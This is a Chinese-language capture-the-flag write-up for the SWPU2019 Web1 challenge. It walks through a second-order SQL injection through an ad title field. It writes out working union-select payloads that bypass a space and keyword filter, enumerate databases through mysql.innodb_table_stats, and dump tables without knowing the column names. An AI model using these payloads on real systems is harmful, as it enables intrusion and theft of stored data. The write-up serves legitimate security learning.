[SWPU2019]Web1(学习)
首页长这样
POST
的形式
尝试使用admin
注册时提示该用户已被注册
使用用户名aaa
和密码123
注册并登录
POST
内容
广告详情页是/detail.php?id=xxx
的形式
尝试对id
进行sql
注入
无果QAQ
尝试SSTI
貌似对标题有效,但大括号还在,估计和SSTI
无关,更偏向于+
直接被过滤了,回到sql
注入试试
当标题为and
、or
或#
时会提示标题含有敏感词汇
对于payload 1'
,访问detail.php
时发现mysql
报错
确定是sql
注入
为什么会用广告名进行sql
查询呢QwQ
猜测后端是直接维护一张广告名和广告id
的映射表,然后神奇地用广告名来查询广告内容了(下次记得还是用id
查好,这样就能直接在url上注入了hiahiahia)
用union select
检查注入点
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
麻了22个字段出题人这是要累死人(恼
注入点在2和3
什么,广告名都能注入的嘛,后端你查询咋写的QAQ,用来查询的字符串合着真的只有查询作用呗
那就拿广告名来注入叭
查看当前数据库
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
查看所有数据库
这里改成where '1'='1
来补全后面的引号了
1'/**/union/**/select/**/1,group_concat(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/information_schema.schemata/**/where/**/'1'='1
大意了,information
的or
被ban了QAQ
好的接下来是学习时间(悲
1'/**/union/**/select/**/1,group_concat(database_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/'1'='1
查看表格
1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/'1'='1
读取FLAG_TABLE内容
这波不知道字段的查询真的惊到我了,sql
还能这么玩的嘛
1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1/**/as/**/a/**/union/**/select/**/*/**/from/**/ctftraining.FLAG_TABLE)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
被骗了.jpg
读取users
内容
1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
学到了学到了QwQ